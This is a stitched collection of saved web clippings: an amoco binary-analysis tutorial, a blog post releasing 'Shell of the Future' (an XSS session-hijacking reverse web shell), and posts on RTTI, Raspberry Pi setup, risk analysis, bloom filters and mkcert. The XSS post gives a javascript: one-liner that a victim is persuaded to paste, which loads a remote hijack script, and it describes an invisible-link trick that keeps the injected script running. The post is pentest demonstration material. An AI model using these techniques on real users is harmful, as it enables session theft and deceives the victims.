             <mo [08048000,08049ff0] data:'\x7fELF\x01\x01\x01\x00\x00\x00...>
             <mo [08049ff0,08049ff4] data:@__gmon_start__>
             <mo [08049ff4,0804a000] data:'(\x9f\x04\x08\x00\x00\x00\x00\x...>
             <mo [0804a000,0804a004] data:@__stack_chk_fail>
             <mo [0804a004,0804a008] data:@malloc>
             <mo [0804a008,0804a00c] data:@__gmon_start__>
             <mo [0804a00c,0804a010] data:@__libc_start_main>
             <mo [0804a010,0804a02c] data:'\x00\x00\x00\x00\x00\x00\x00\x0...>>
    <MemoryZone rel=esp :>
    >>> p.mmap.read(0x0804a004,4)
    [<amoco.cas.expressions.ext object at 0x8cff054>]
    >>> print _[0]
    @malloc
    >>> p.mmap.read(0x0804a00c,6)
    [<amoco.cas.expressions.ext object at 0x8cff0a4>, '\x00\x00']
    
[/code]

The object gives access to the Elf32 object and its mapping in our abstract
memory model. We can note that in this model, imports location in .got segment
are modeled as abstract expressions of type `ext`. Note also that fetching
compound data \(symbolic+concrete\) is possible. See MemoryZone for more
details. Lets proceed with getting some basic blocks...

[code]

    >>> z = amoco.lsweep(p)
    >>> ib = z.iterblocks()
    >>> next(ib)
    <block object (name=0x8048380) at 0x09e8939c>
    >>> b=_
    >>> print b
    # --- block 0x8048380 ---
    0x8048380  31ed                           xor         ebp,ebp
    0x8048382  5e                             pop         esi
    0x8048383  89e1                           mov         ecx,esp
    0x8048385  83e4f0                         and         esp,0xfffffff0
    0x8048388  50                             push        eax
    0x8048389  54                             push        esp
    0x804838a  52                             push        edx
    0x804838b  6810860408                     push        #__libc_csu_fini
    0x8048390  68a0850408                     push        #__libc_csu_init
    0x8048395  51                             push        ecx
    0x8048396  56                             push        esi
    0x8048397  68fd840408                     push        #main
    0x804839c  e8cfffffff                     call        *0x8048370
    >>> b.instr
    [<amoco.arch.x86.spec_ia32 [0x8048380]  XOR ( length=2 type=1 )>, <amoco.arch.x86.spec_ia32 [0x8048382]  POP ( length=1 type=1 )>, <amoco.arch.x86.spec_ia32 [0x8048383]  MOV ( length=2 type=1 )>, <amoco.arch.x86.spec_ia32 [0x8048385]  AND ( length=3 type=1 )>, <amoco.arch.x86.spec_ia32 [0x8048388]  PUSH ( length=1 type=1 )>, <amoco.arch.x86.spec_ia32 [0x8048389]  PUSH ( length=1 type=1 )>, <amoco.arch.x86.spec_ia32 [0x804838a]  PUSH ( length=1 type=1 )>, <amoco.arch.x86.spec_ia32 [0x804838b]  PUSH ( length=5 type=1 )>, <amoco.arch.x86.spec_ia32 [0x8048390]  PUSH ( length=5 type=1 )>, <amoco.arch.x86.spec_ia32 [0x8048395]  PUSH ( length=1 type=1 )>, <amoco.arch.x86.spec_ia32 [0x8048396]  PUSH ( length=1 type=1 )>, <amoco.arch.x86.spec_ia32 [0x8048397]  PUSH ( length=5 type=1 )>, <amoco.arch.x86.spec_ia32 [0x804839c]  CALL ( length=5 type=2 )>]
    >>> i = b.instr[-1]
    >>> i
    <amoco.arch.x86.spec_ia32 [0x804839c]  CALL ( length=5 type=2 )>
    >>> print i
    0x804839c  e8cfffffff                     call        \*0x8048370
    >>> i.mnemonic
    'CALL'
    >>> i.bytes
    '\xe8\xcf\xff\xff\xff'
    >>> i._uarch['i_CALL']
    <function i_CALL at 0x8cf85a4>
    >>> str(i.operands[0])
    '-0x31'
    >>> i.operands[0].value
    -49L
    >>> i.typename()
    'control_flow'
    
[/code]

We use here the most basic **linear sweep** approach and spawn a basic block
iterator. The first block is well known. We can see that the default x86
pretty printer uses Intel syntax and codehelpers that show PLT refs as
associated .got `ext` expression. Also, relative offsets are displayed as
absolute addresses \(indicated by the \* prefix\).

Lets look at the symbolic execution of this block:

[code]

    >>> b.map
    <amoco.cas.mapper.mapper object at 0x9cba3ec>
    >>> print b.map
    ebp <- { | [0:32]->0x0 | }
    esi <- { | [0:32]->M32(esp) | }
    ecx <- { | [0:32]->(esp+0x4) | }
    eflags <- { | [0:1]->0x0 | [6:7]->((((esp+0x4)&0xfffffff0)==0x0) ? 0x1 : 0x0) | [12:32]->eflags[12:32] | [11:12]->0x0 | [8:11]->eflags[8:11] | [1:6]->eflags[1:6] | [7:8]->((((esp+0x4)&0xfffffff0)<0x0) ? 0x1 : 0x0) | }
    ((((esp+0x4)&0xfffffff0)-0x4)) <- eax
    ((((esp+0x4)&0xfffffff0)-0x8)) <- (((esp+0x4)&0xfffffff0)-0x4)
    ((((esp+0x4)&0xfffffff0)-0xc)) <- edx
    ((((esp+0x4)&0xfffffff0)-0x10)) <- 0x8048610
    ((((esp+0x4)&0xfffffff0)-0x14)) <- 0x80485a0
    ((((esp+0x4)&0xfffffff0)-0x18)) <- (esp+0x4)
    ((((esp+0x4)&0xfffffff0)-0x1c)) <- M32(esp)
    ((((esp+0x4)&0xfffffff0)-0x20)) <- 0x80484fd
    esp <- { | [0:32]->(((esp+0x4)&0xfffffff0)-0x24) | }
    ((((esp+0x4)&0xfffffff0)-0x24)) <- (eip+0x21)
    eip <- { | [0:32]->(eip+-0x10) | }
    >>> b.map[p.cpu.esi]
    <amoco.cas.expressions.mem object at 0x8b2fa6c>
    >>> e=_
    >>> print e
    M32(esp)
    >>> e.length
    4
    >>> e.size
    32
    
[/code]

When a block is instanciated, a `mapper` object is automatically created. This
function can map any input state to an output state corresponding to the
interpretation of this block.

* * *
Lets try a \(little\) more elaborated analysis that will not only allow to
build a list of basic blocks but will also help us discover \(parts of\) the
control flow graph of the program:

[code]

    >>> ff = amoco.fforward(p)
    >>> ff.policy
    {'depth-first': True, 'branch-lazy': True}
    >>> ff.policy['branch-lazy']=False
    >>> ff.getcfg()
    amoco.cas.expressions: INFO: stub __libc_start_main called
    amoco.main: INFO: fforward analysis failed at block 0x8048370
    <amoco.cfg.func object at 0xb72e330c>
    >>> G=_
    >>> G.C
    [<grandalf.graphs.graph_core object at 0x8f6d78c>]
    
[/code]

Here we use the **fast-forward** analysis \(see below\) and set its "branch-
lazy" policy to `False` to avoid falling back to linear sweep when analysis of
branch fails. Interestingly, we can see that the PLT jump to
`__libc_start_main` external function has been followed thanks to a `@stub`
defined for this external \(see `system/linux_x86.py`\).

Let's have a look at the graph instance:

[code]

    >>> print G.C[0].sV
    0.| <node [0x8048380] at 0x8db764c>
    1.| <node [0x8048370] at 0x8db740c>
    >>> print G.C[0].sE
    0.| <link [0x8048380 -> 0x8048370] at 0x8db742c>
    >>> G.get_node('0x8048370')
    <node [0x8048370] at 0x8db740c>
    >>> n=_
    >>> print n.data
    # --- block 0x8048370 ---
    0x8048370  'ff250ca00408'     jmp         [@__libc_start_main]
    >>> print n.data.map
    eip <- { | [0:32]->M32((esp+0x4)) | }
    esp <- { | [0:32]->(esp-0x4) | }
    ((esp-0x4)) <- @exit
    
[/code]

Ok, so the program counter is correctly pointing to the `#main` address
located at offset +4 in the stack, but since the fast-forward method only look
at one block, it cannot know that this location holds this address. A little
more elaborated analysis like **link-forward** would have started analysing
`#main`:

[code]

    >>> lf = amoco.lforward(p)
    >>> lf.getcfg()
    amoco.cas.expressions: INFO: stub __libc_start_main called
    amoco.main: INFO: lforward analysis failed at block 0x8048483
    <amoco.cfg.func object at 0x88552ec>
    >>> G=_
    >>> print G.C
    [<grandalf.graphs.graph_core object at 0x8a0b7ec>,
    <grandalf.graphs.graph_core object at 0x8a0c1cc>,
    <grandalf.graphs.graph_core object at 0x8a3156c>]
    >>> for g in G.C:
    ...   print g.sV
    ...   print '------'
    ...
    0.| <node [0x8048380] at 0x885566c>
    1.| <node [0x8048370] at 0xb72c830c>
    2.| <node [0x80484fd] at 0x885532c>
    ------
    0.| <node [0x8048434] at 0x8a0c16c>
    ------
    0.| <node [0x8048483] at 0x8a31dec>
    ------
    >>> print G.get_node('0x8048434').data
    # --- block 0x8048434 ---
    0x8048434  '55'                   push        ebp
    0x8048435  '89e5'                 mov         ebp,esp
    0x8048437  '83ec38'               sub         esp,0x38
    0x804843a  '8b4508'               mov         eax,[ebp+8]
    0x804843d  '83c001'               add         eax,0x1
    0x8048440  '8945f4'               mov         [ebp-12],eax
    0x8048443  '8b45f4'               mov         eax,[ebp-12]
    0x8048446  'a320a00408'           mov         [#global_var],eax
    0x804844b  'c744240403000000'     mov         [esp+4],0x3
    0x8048453  '8b45f4'               mov         eax,[ebp-12]
    0x8048456  '890424'               mov         [esp],eax
    0x8048459  'e825000000'           call        *#fct_b
    >>> print G.get_node('0x8048483').data
    # --- block 0x8048483 ---
    0x8048483  '55'         push        ebp
    0x8048484  '89e5'       mov         ebp,esp
    0x8048486  '8b450c'     mov         eax,[ebp+12]
    0x8048489  '8b5508'     mov         edx,[ebp+8]
    0x804848c  '01d0'       add         eax,edx
    0x804848e  '5d'         pop         ebp
    0x804848f  'c3'         ret
    
[/code]

##  Overview

Amoco is composed of 3 packages arch, cas and system, on top of which the
classes implemented in `code.py, cfg.py` and `main.py` provide high-level
abstractions of basic blocks, functions, control flow graphs and
disassembling/analysis techniques.

We will now describe this architecture starting from low-level layers \(arch,
cas\) up to system and finally to higher level classes.

Supported CPU architectures are implemented in this package as subpackages and
all use the `arch/core.py` generic classes. The interface to a CPU used by
system classes is generally provided by a `cpu_XXX.py` module in the CPU
subpackage. This module shall:

  * provide the CPU _environment_ \(registers and other internals\)
  * provide an instance of `core.disassembler` class, which requires to:
    * define the `@spec` of every instruction for the generic decoder,
    * and define the _semantics_ of every instruction with cas expressions.
  * optionnally define the output assembly format, and the _GNU as_ \(or any other\) assembly parser.

A simple example is provided by the `arch/arm/v8` architecture which provides
a model of ARM AArch64: The interface module is `arch/arm/cpu_armv8.py`, which
imports everything from the v8 subpackage.

####  instruction specifications

The `v8/spec_armv8.py` module implements all decoding specifications thanks to
an original decorating mechanism. For example, the EXTR instruction encoding
is defined like this:

[code]

    @ispec("32[ sf 0 0 100111 N 0 Rm(5) imms(6) Rn(5) Rd(5) ]",mnemonic="EXTR")
    def A64_EXTR(obj,sf,N,Rm,imms,Rn,Rd):
        if sf!=N: raise InstructionError(obj)
        if sf==0 and imms>31: raise InstructionError(obj)
        obj.datasize = 64 if (sf==1) else 32
        regs = env.Xregs if sf==1 else env.Wregs
        obj.d = sp2z(regs[Rd])
        obj.n = sp2z(regs[Rn])
        obj.m = sp2z(regs[Rm])
        obj.lsb = env.cst(imms,6)
        obj.operands = [obj.d,obj.n,obj.m,obj.lsb]
        obj.type = type_data_processing
    
[/code]

The `@spec(...)` decorator indicates that whenever the decoder buffer is
filled with 32 bits that matches a given pattern, the decorated function is
called with first argument being a `arch.core.instruction` instance with
`mnemonic` attribute set to EXTR, and other arguments being extracted from
corresponding bitfields. The function itself is responsible for filling the
instruction instance with useful other attributes like operands, type, etc. If
you look at page 480 of armv8, you will likely feel at home...

The same is true for `x86/spec_ia32.py` and the Intel manuals, for example the
CMOVcc instruction\(s\) specification is:

[code]

    # conditionals:
    @ispec_ia32("*>[ {0f} cc(4) 0010 /r ]", mnemonic = "CMOVcc") # 0f 4x /r
    def ia32_CMOVcc(obj,cc,Mod,RM,REG,data):
        obj.cond = CONDITION_CODES[cc]
        op2,data = getModRM(obj,Mod,RM,data)
        op1 = env.getreg(REG,op2.size)
        obj.operands = [op1, op2]
        obj.type = type_data_processing
    
[/code]

####  instruction semantics

The semantics of instructions are defined separately from their decoder specs,
generally in a `asm.py` module. An `instruction` instance with mnemonic _XXX_
will find its semantics definition by looking for a function `i_XXX(i,fmap):
...`.

For example \(in `arch/x86/asm.py`\):

[code]

    def i_CMOVcc(i,fmap):
      op1 = i.operands[0]
      op2 = fmap(i.operands[1])
      fmap[eip] = fmap[eip]+i.length
      a = fmap(op1)
      fmap[op1] = tst(fmap(i.cond[1]),op2,a)
    
[/code]

The function takes as input the instruction instance _i_ and a `mapper`
instance _fmap_ \(see cas\) and implements \(an approximation of\) the opcode
semantics.

###  main.py

This module contains `high-level` analysis techniques implemented as classes
that take a program abstraction provided by the system package. Currently,
only 3 simple techniques are released:

  * "linear-sweep" \(lsweep class\) disassembles instructions without taking into account any branching instruction.
Methods exposed by the lsweep class are:

    * sequence\(loc=None\): returns an iterator that will yield disassembled instructions starting at virtual address 'loc' \(defaults to entrypoint\).
    * iterblocks\(loc=None\): which returns an iterator that will yield \(basic\) block\_ of instructions starting at virtual address 'loc'.
  * "fast forward" \(fforward\) inherits from 'lsweep' and adds an algorithm that tries to build the control-flow graph of the program by following branching instructions when the program counter is composed essentially of constant expressions when evaluated within block scope only. The default policy is to fallback to linear sweep otherwise.
  * "link forward" \(lforward\) inherits from 'fforward' but uses a strict follow branch policy to avoid linear sweep and evaluates the program counter by taking into account the parent block semantics.

###  code.py

###  cfg.py

###  system

###  MemoryZone

# Attack and Defense Labs: Shell of the Future – Reverse Web Shell Handler for
XSS Exploitation

**Created:**| _7/20/2010 8:13:04 AM_  
---|---  
**Updated:**| _7/20/2010 8:13:18 AM_  
**Author:**| __  
**Tags:**| _web-app-sec pentest xss_  
  

### Shell of the Future – Reverse Web Shell Handler for XSS Exploitation

>  
> If you claim that "XSS is not a big deal" that means you never owned
> something by using it and that's your problem not XSS's
> -Ferruh Mavituna, Author of XSS Shell, XSS Tunnel and NetSparker
Cross-site Scripting is an interesting vulnerability. It is relatively easier
to discover in a Penetration test but demonstrating its impact has always been
tricky. So tricky in fact that it has pushed one of the most creative groups
of people in IT \(Penetration testers\) in to using the most boring and
misleading POC possible. Yes, you guessed it right, the ubiquitous JavaScript
alert\(\) box. To break the monotonousness testers sometimes change the
message being displayed but that’s as far as it usually goes. It also has the
nasty side effect of developers blocking the word ‘alert’ in their code while
‘eval’ is let through.

  

In pentests XSS is usually considered as a dead-end vulnerability - you
discover it, take a screenshot and move on to something else. It cannot be
exploited and used as a stepping stone to another attack because exploiting it
would require attacking a user and that is something Penetration testers
aren’t allowed to do, the contract 9 out of 10 times only lets us attack the
server or the application. That however does not stop theattackers from going
so far as to taking over entire servers using a simple XSS in the real world.

  

The real impact of XSS is that an attacker can do anything that the user can
do with his session. Today I am releasing a tool that would let you
demonstrate this very impact with the same effort involved as showing the
alert box. Ladies and Gentlemen, I give you - Shell of the Future.

  

Shell of the Future is a Reverse Web Shell handler. It’s the browser
equivalent of a reverse command shell, instead of a command prompt from which
you type in commands, you get to browse the victim’s HTTP/HTTPS session from
your browser. Even though the site is being browsed from the pentester’s
browser all the pages are fetched by the victim’s browser. This is done by
tunneling HTTP over HTTP using HTML5 Cross Origin Requests. The hijacked
session also displays a hovering banner over it which can be heavily
customized, making it the perfect POC for your pentest report.

  

So how does it work? very simple. Shell of the Future has both a proxy server
and a web server. The pentester has to set his browser to use Shell of the
Future’s proxy server, start the tool and go to http://127.0.0.1/sotf.console
from his browser. This shows the web interface from which the victim’s
sessions can be hijacked.

  

Before hijacking a session we need to inject our JavaScript exploit in to the
victim’s browser using XSS. Shell of the Future comes with two readymade
JavaScript exploits – e1.js and e2.js.

  

Once injected \( Eg: \) the exploit starts talking to the Shell of the Future
server and it becomes available for hijack from the console page. To hijack
this session just click on the link that says ‘Hijack Session’ and this
session can be browsed from the pentester’s browser.

  

It is that simple, no installation required, no configuration required, no
additional software, it’s all set-up and ready to go at one click.

  

Even if the site is not vulnerable to XSS the victim’s session can still be
hijacked by getting them to paste the following code in the browser’s Address
Bar.

Eg:

javascript:eval\("s=document.createElement\('script'\);s.src='http://127.0.0.1/e1.js';document.getElementsByTagName\('head'\)\[0\].appendChild\(s\)"\)

  

Shell of the Future can be downloaded from our tools section and there is also
a detailed manual available.

A video demonstration of all the features is available here.

  

If you are interested in more details then read on.

  

The tool makes use of HTML5 Cross Origin Requests to tunnel HTTP traffic over
HTTP. Once e1.js or e2.js are injected in to the victim’s browser they start
polling Shell of the Future\(SotF\) through Cross Origin Requests\(COR\). SotF
assigns a unique ID for each session and shows this in its console page. When
‘Hijack Session’ is clicked the request from the browser is sent to the SotF
proxy which inturn sends it to the SotF server which further passes it on to
the victim. The victim fetches the page and sends the response to the SotF
server using COR which sends it to the proxy and then to the pentester’s
browser.

  

The two e1.js and e2.js are very similar but e2.js has an extra trick to make
the attack more practical. You can only browse the victim’s session for as
long as the injected JavaScript is active in the victim’s browser. Sometimes
this could be a problem. Let’s say the site with XSS cannot be placed in an
iframe then the victim must be directly on the site where the injection is
happening. Now the lifetime of the injected scripted is extremely limited
because the moment the victim clicks on any links and browses to another page
in the site, the script dies. To counteract this, e2.js adds an invisible link
to the page and this link is placed exactly under the mouse and follows the
mouse moments. When the victim clicks on any part of the page he is actually
clicking the invisible link and this link opens the same site in a new tab
which also becomes the active tab. Now the victim would happily browse the
site in the new tab while the injected script is live in the other tab. The
transition to the new tab is pretty smooth so most users would never suspect
anything.

  

If you would want still more details then check the detailed documentation.

  

I got this idea when reading about HTML5 Cross Origin Requests and thought it
was new concept so started this project as a POC. But when I spoke to Manish
about it a little latter, he burst my bubble and told me that XSS Tunnel
already did something similar. Infact XSS Proxy and XSS Tunnel both did
something similar and that too back when there was no COR\!\! \* bows to both
Anton Rager and Ferruh Mavituna and thanks Manish for saving me from
embarrassment once again \*

  

So I stopped working on it for sometime and then started again with a
different approach. Rather than making it a POC for my idea which turned out
to be a well known technique, I have made Shell of the Future as a tool
specifically to make POCs for XSS and JS Injection vulnerabilities. Both the
victim and the attacker can be on the same system just different browsers,
Chrome and FireFox are ideal candidates. It works on IE and Safari as well but
their aggressive caching can sometime serve stale content. Opera however does
not support CORs yet and hence this doesn't work there.

  

The goal was to make a tool that would accurately demonstrate the severity of
XSS with literally the same effort involved as getting the infamous alert box
to pop up and I think it has been achieved it.

  

Also this time around I am providing the source code of the tool as well. It’s
not the most elegantly written piece of code but hey, it works\!

  

Posted by lava at 12:01 PM <img src='img/Temp2_909.gif' width='18' height='13'
/>

Labels: exploitation, new hack, tool, xss

  

  *[12:01 PM]: 2010-07-19T12:01:00-07:00

# pic.twitter.com/GuVGS13o

**Created:**| _4/19/2012 1:43:19 PM_  
---|---  
**Updated:**| _4/19/2012 1:43:19 PM_  
**Author:**| __  
**Tags:**| __  
  
<img src='img/Temp2_10564.jpg' alt='pic.twitter.com/GuVGS13o' />

# Recovering UML diagrams from binaries using RTTI – Inheritance as partially
ordered sets « blog.zynamics.com

**Created:**| _1/22/2011 12:05:14 AM_  
---|---  
**Updated:**| _1/22/2011 12:05:38 AM_  
**Author:**| __  
**Tags:**| _reversing Design model-checking_  
  

## Recovering UML diagrams from binaries using RTTI – Inheritance as partially
ordered sets

By Thomas Dullien

Wow, it’s been a while since we last blogged. Ok, time to kick off 2011 <img
src='img/Temp2_6788.gif' alt=':-)' />

A lot of excellent stuff has been written about Microsoft’s RTTI format — from
the ISS presentations a few years back to igorsk’s excellent OpenRCE articles.
In the meantime, RTTI information has “spread” in real-world binaries as most
projects are now built on compilers that default-enable RTTI information. This
means that for vulnerability development, it is rare to **not** have RTTI
information nowadays; most C++ applications come with full RTTI info.

So what does this mean for the reverse engineer ? Simply speaking, a lot — the
above-mentioned articles already describe how a lot of information about the
inheritance hierarchy can be parsed out of the binary structures generated by
Visual C++ — and there are some pretty generic scripts to do so, too.

This blog article is about a slightly different question:

> How can we recover full UML-style inheritance diagrams from executables by
> parsing the RTTI information ?
To answer the question, let’s review what the Visual C++ RTTI information
provides us with:

  1. The ability to locate all vftables for classes in the executable
  2. The mangled names of all classes in the executable
  3. For each class, the list of classes that this class can be legitimately upcast to \(e.g. the set of classes “above” this class in the inheritance diagram\)
  4. The offsets of the vftables in the relevant classes

This is a good amount of information. Of specific interest is \(3\) — the list
of classes that are “above” the class in question in the inheritance diagram.
Coming from a mathy/CSy background, it becomes obvious quickly that \(3\)
gives us a “partial order”: For two given classes A and B, either A ≤ B holds
\(e.g. A is inherits from B\), or the two classes are incomparable \(e.g. they
are not part of the same inheritance hierarchy\). This relationship is
transitive \(if A inherits from B, and B inherits from C, A also inherits from
C\) and antisymmetric \(if A inherits from B and B inherits from A, A = B\).
This means that we are talking about a partially ordered set \(POSet\)

Now, why is this useful ? Aside from the amusing notion that “oh, hey,
inheritance relationships are POSets“, it also provides us with a simple and
clear path to generate readable and pretty diagrams: We simply calculate the
inheritance relation from the binary and then create a Hasse Diagram from it —
in essence by removing all transitive edges. The result of this is a pretty
graph of all classes in an executable, their names, and their inheritance
hierarchy. It’s almost like generating documentation from code <img
src='img/Temp2_6788.gif' alt=':-)' />

Anyhow, below are the results of the example run on AcroForm.API, the forms
plugin to Acrobat Reader:

<img src='img/Temp2_6787.gif' width='450' />

The full inheritance diagram of all classes in AcroForm

A more interactive \(and fully zoomable\) version of this diagram can also be
viewed by clicking here.

For those of you that would like to generate their own diagrams, you will need
the following tools:

  * My ancient IDAPython scripts: https://github.com/zynamics/rtti-helper-scripts
  * The free graph editor yEd, available from http://www.yworks.com/en/products\_yed\_about.html
  * A recent version of IDA

Enjoy \! <img src='img/Temp2_6788.gif' alt=':-)' />

# Raspberry Pi - ArchWiki

**Created:**| _1/11/2013 1:49:59 PM_  
---|---  
**Updated:**| _1/11/2013 1:49:59 PM_  
**Author:**| __  
**Tags:**| _Embedded Linux_  
  

#  What is Raspberry Pi

It is a minimalist computer built for ARMv6 architecture. More information
about this project  and technical specification .

##  Installing Arch Linux ARM

In this manual will describe only essential moments for different RPI. Other
procedures are the same instructions for ArchLinux. The only exception is the
basic initialization and installation of equipment. It is further assumed that
the configuration is performed on a machine running Archlinux.

###  Backup Cards

If you own an official card provided with your RPI \(for example \) recommend
before installing Arch ARM Linux to backup using `dd`. The path must be
specified to the device `/dev/sdX` not for another partition `/dev/sdc1`

[code]

    # dd if=/dev/sdX of=$HOME/backup_RPi.img
    
[/code]

**Note:** There is a bit copy of the card. The resulting file is the same size
as your card.

**Note:** card may not be installed.

**Warning:** Bad parameters can damage your data.

###  Installation

Installation is similar to backing card. Download the image file from Arch
Linux ARM

[code]

    # dd bs=1M if=/path/to/archlinux.img of=/dev/sdX
    
[/code]

After inserting the card into the slot on the PPi should boot the base system
Arch Linux ARM.

The downloaded image file is approximately 2 gigabytes of which is /boot 94
megabytes and / 1.8 gigabytes. If you used a larger card to 2GB, so I
recommend the rest of the card to connect as /home \(or /usr\). Clearance must
be formatted using the example Gparted . At the first possible opportunity
\(after booting RPI or after mounting the card in the computer\) need to be
adjusted ` /etc/fstab`

[code]

    # sudo vim /etc/fstab
    
[/code]

For example, add

[code]

    /dev/mmcblk0p3 /home ext4 defaults 0 0
    
[/code]

##  The first operation

Summary of the official procedure :

###  Remote SSH access

If you do not use the HDMI output RPI and you will access the device using
SSH, the following applies. Root pasword is: ` root`. I recommend to perform
key exchange SSH\_Keys .

[code]

    $ ssh root@192.168.1.123 (Use your Ip RPI)
    
[/code]

###  Localization

[code]

    # vim /etc/locale.gen
    
[/code]

uncomment ` en_US.UTF-8 UTF-8` and ` en_US ISO-8859-2`

generate localization files

[code]

    # locale-gen
    
[/code]

###  Setting the time and date using OpenNTP

dopnit

###  Setting the time and date manually

complete

###  Changing the root password

After the first start RPI is native root password to root. It is therefore
necessary to change it. Executed after power command ` passwd`

[code]

    # passwd root
    
[/code]

###  Adding another user

Using `adduser` to add the user.

[code]

    # adduser
    
[/code]

Start `visudo`

[code]

    # sudo visudo
    
[/code]

add the line "USER ALL = \(ALL\) ALL" below the line root ALL = \(ALL\) ALL

##  Video

The generic xf86-video-fbdev  driver can be used.

##  Serial Console

Edit the default /boot/cmdline.txt

Change loglevel to 5 to see boot messages

[code]

    # loglevel=5
    
[/code]

Change speed from 11520 to 38400

[code]

    # console=ttyAMA0,38400 kgdboc=ttyAMA0,38400
    
[/code]

Start getty service

[code]

    # systemctl start getty@ttyAMA0
    
[/code]

Enable on boot

[code]

    #systemctl enable getty@ttyAMA0.service
    
[/code]

Creating the proper service link:

[code]

    # ln -s /usr/lib/systemd/system/getty@.service /etc/systemd/system/getty.target.wants/getty@ttyAMA0.service
    
[/code]

Then connect :\)

[code]

    # screen /dev/ttyUSB0 38400
    
[/code]

[code]

    Referenced from these [1]  posts [2] 
    
[/code]

# davidski/evaluator

**Created:**| _3/7/2018 8:32:39 AM_  
---|---  
**Updated:**| _3/7/2018 8:32:39 AM_  
**Author:**| _wishi_  
**Tags:**| _analysis risk-management_  
  

  

# davidski/evaluator

###  README.md

## Overview

Evaluator is an open source quantitative risk analysis toolkit. Based on the
OpenFAIR taxonomy and risk assessment standard, Evaluator empowers an
organization to perform a quantifiable, repeatable, and data-driven risk
review.

Three sample outputs of this toolkit are available:

  1. A detailed risk analysis template, located at RPubs
  2. A one page risk dashboard, also located at RPubs
  3. A demonstration copy of Scenario Explorer

## Installation

[code]

    install.packages("evaluator")
    
    # Optionally, to install the development verison from GitHub
    # install.pacakges("devtools")
    devtools::install_github("davidski/evaluator")
[/code]

Optionally, a prototype Docker image is available on the Docker Hub.

## Usage

The primary workflow for Evaluator involves gathering data in Excel then
running the analysis from within the R and Evaluator environment:

From Excel:

  1. Populate the Evaluator-supplied data acquisition spreadsheet

From Evaluator:

  1. Import the data
  2. Prepare the data for simulation
  3. Run the simulations
  4. Summarize the results
  5. Generate draft reports for customization

A detailed guide is available in the vignette accessed via `vignette("usage",
package="evaluator")`. A short screencast showing the basic workflow \(not
including generation of reports\) is available below:

<img
src='img/68747470733a2f2f61736369696e656d612e6f72672f612f71494255336c68506b5748474d5944394f32475531596763552e706e67.png'
width='576' height='312' alt='demo' />

## Where to Go from Here

While Evaluator is a powerful tool, it does not attempt to address
interactions between risk scenarios, rolling up multiple levels of risk into
aggregations, or other advanced topics. As you become more comfortable with
quantitative risk analysis, you may wish to dive deeper into these areas \(and
I hope you do\!\). The following resources may help you explore these and
other topics in risk management.

### Commercial Software

  * RiskLens, founded by the original creator of the FAIR methodology

### Blogs/Books/Training

### Associations

## Contributing

This project is governed by a Code of Conduct. By participating in this
project you agree to abide by these terms.

## License

The MIT License applies.

  

# Bloom Filters

**Created:**| _10/22/2014 9:19:20 PM_  
---|---  
**Updated:**| _10/22/2014 9:19:20 PM_  
**Author:**| __  
**Tags:**| _searching algos_  
  

# Bloom Filters

Everyone is always raving about bloom filters. But what exactly are they, and
what are they useful for?

## Operations

The basic bloom filter supports two operations: **test** and **add**.

**Test** is used to check whether a given element is in the set or not. If it
returns:

  * _false_ then the element is definitely not in the set. 
  * _true_ then the element is _probably_ in the set. The _false positive rate_ is a function of the bloom filter's size and the number and independence of the hash functions used. 

**Add** simply adds an element to the set. Removal is impossible without
introducing false negatives, but extensions to the bloom filter are possible
that allow removal e.g. counting filters.

## Applications

The classic example is using bloom filters to reduce expensive disk \(or
network\) lookups for non-existent keys.

If the element is not in the bloom filter, then we know for sure we don't need
to perform the expensive lookup. On the other hand, if it _is_ in the bloom
filter, we perform the lookup, and we can expect it to fail some proportion of
the time \(the false positive rate\).

## Bloomfilter.js

I wrote a very fast bloom filter implementation in JavaScript called
bloomfilter.js. It uses the non-cryptographic Fowler–Noll–Vo hash function for
speed. We can get away with using a non-cryptographic hash function as we only
care about having a uniform distribution of hashes.

The implementation also uses JavaScript typed arrays if possible, as these are
faster when performing low-level bitwise operations.

## Interactive Demonstration

Below you should see an interactive visualisation of a bloom filter, powered
by bloomfilter.js.

You can add any number of elements \(keys\) to the filter by typing in the
textbox and clicking "Add". Then use the second textbox to see if an element
is probably there or definitely not\!

Key:  Add

Definitely not there.

## Explanation

The bloom filter essentially consists of a bit vector of length _m_ ,
represented by the central column.

To add an item to the bloom filter, we feed it to _k_ different hash functions
and set the bits at the resulting positions. In this example, I've set _m_ to
_50_ and _k_ to _3_. Note that sometimes the hash functions produce
overlapping positions, so less than _k_ positions may be set.

To test if an item is in the filter, again we feed it to the _k_ hash
functions. This time, we check to see if any of the bits at these positions
are not set. If any are not set, it means the item is definitely not in the
set. Otherwise, it is probably in the set.

## Implementation Notes

Astute readers will note that I only mentioned one hash function,
Fowler–Noll–Vo, but bloom filters require several. It turns out that you can
produce _k_ hash functions using only two to start off with. In fact, I just
perform an additional round of FNV as the second hash function, and this works
great. Unfortunately I can't use the 64-bit trick in the linked post as
JavaScript only supports bitwise operations on 32 bits.

## See Also

  * Bloom filter on Wikipedia. 

# Malware Instrumentation Application to Regin Analysis

**Created:**| _6/3/2015 11:53:21 AM_  
---|---  
**Updated:**| _6/3/2015 11:53:43 AM_  
**Author:**| __  
**Tags:**| _binary instrumentation_  
  
<img src='img/regin_analysis.pdf' />

# FiloSottile/mkcert

**Created:**| _9/23/2018 8:56:15 AM_  
---|---  
**Updated:**| _9/23/2018 8:56:15 AM_  
**Author:**| _wishi_  
**Tags:**| _ssl cert_  
  

  

# mkcert

mkcert is a simple tool for making locally-trusted development certificates.
It requires no configuration.

[code]

    $ mkcert -install
    Created a new local CA at "/Users/filippo/Library/Application Support/mkcert" 💥
    The local CA is now installed in the system trust store! ⚡️
    The local CA is now installed in the Firefox trust store (requires restart)! 🦊
    
    $ mkcert example.com '*.example.org' myapp.dev localhost 127.0.0.1 ::1
    Using the local CA at "/Users/filippo/Library/Application Support/mkcert" ✨
    
    Created a new certificate valid for the following names 📜
     - "example.com"
     - "*.example.org"
     - "myapp.dev"
     - "localhost"
     - "127.0.0.1"
     - "::1"
    
    The certificate is at "./example.com+5.pem" and the key at "./example.com+5-key.pem" ✅
    
[/code]

<img src='img/41887838-7acd55ca-78d0-11e8-8a81-139a54faaf87.png' width='576'
height='183' alt='Chrome screenshot' />

Using certificates from real certificate authorities \(CAs\) for development
can be dangerous or impossible \(for hosts like `localhost` or `127.0.0.1`\),
but self-signed certificates cause trust errors. Managing your own CA is the
best solution, but usually involves arcane commands, specialized knowledge and
manual steps.

mkcert automatically creates and installs a local CA in the system root store,
and generates locally-trusted certificates.

## Installation

> **Warning** : the `rootCA-key.pem` file that mkcert automatically generates
> gives complete power to intercept secure requests from your machine. Do not
> share it.
### macOS

On macOS, use Homebrew

[code]

